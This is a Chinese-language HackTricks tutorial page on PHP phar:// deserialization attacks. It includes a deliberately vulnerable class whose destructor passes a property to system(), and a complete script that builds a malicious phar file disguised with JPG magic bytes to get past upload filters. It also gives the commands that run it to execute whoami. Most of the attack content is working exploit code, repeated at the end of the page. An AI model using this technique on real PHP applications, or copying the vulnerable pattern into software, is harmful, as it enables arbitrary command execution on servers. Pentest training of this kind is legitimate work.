phar:// deserialization

学习与实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习与实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或关注我们的 Twitter 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 分享黑客技巧。

漏洞赏金提示：注册 Intigriti，一个由黑客为黑客创建的高级 漏洞赏金平台！今天就加入我们 https://go.intigriti.com/hacktricks，开始赚取高达 $100,000 的赏金！

Phar 文件（PHP Archive）文件 包含序列化格式的元数据，因此，当解析时，这个 元数据 会被 反序列化，你可以尝试利用 PHP 代码中的 反序列化 漏洞。

这个特性的最佳之处在于，即使使用不执行 PHP 代码的 PHP 函数，如 file_get_contents()、fopen()、file() 或 file_exists()、md5_file()、filemtime() 或 filesize()，也会发生这种反序列化。

所以，想象一个情况，你可以让一个 PHP 网站使用 phar:// 协议获取任意文件的大小，并且在代码中你发现一个类似于以下的类：

vunl.php

<?php
class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

filesize("phar://test.phar"); #The attacker can control this path

您可以创建一个 phar 文件，当加载时将 利用这个类执行任意命令，可以使用如下代码：

create_phar.php

<?php

class AnyClass {
public $data = null;
public function __construct($data) {
$this->data = $data;
}

function __destruct() {
system($this->data);
}
}

// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

// add object of any class as meta data
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

注意 JPG 的魔术字节 (\xff\xd8\xff) 被添加到 phar 文件的开头，以绕过 可能的 文件上传限制。编译 test.phar 文件：

php --define phar.readonly=0 create_phar.php

并利用易受攻击的代码执行 whoami 命令：

php vuln.php

参考文献

漏洞赏金提示：注册 Intigriti，一个由黑客为黑客创建的高级漏洞赏金平台！今天就加入我们，访问 https://go.intigriti.com/hacktricks，开始赚取高达 $100,000 的赏金！

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 上关注 🐦 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

PreviousFile Inclusion/Path traversal NextLFI2RCE via PHP Filters

Last updated 7 days ago

<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path

<?php class AnyClass { public $data = null; public function __construct($data) { $this->data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering();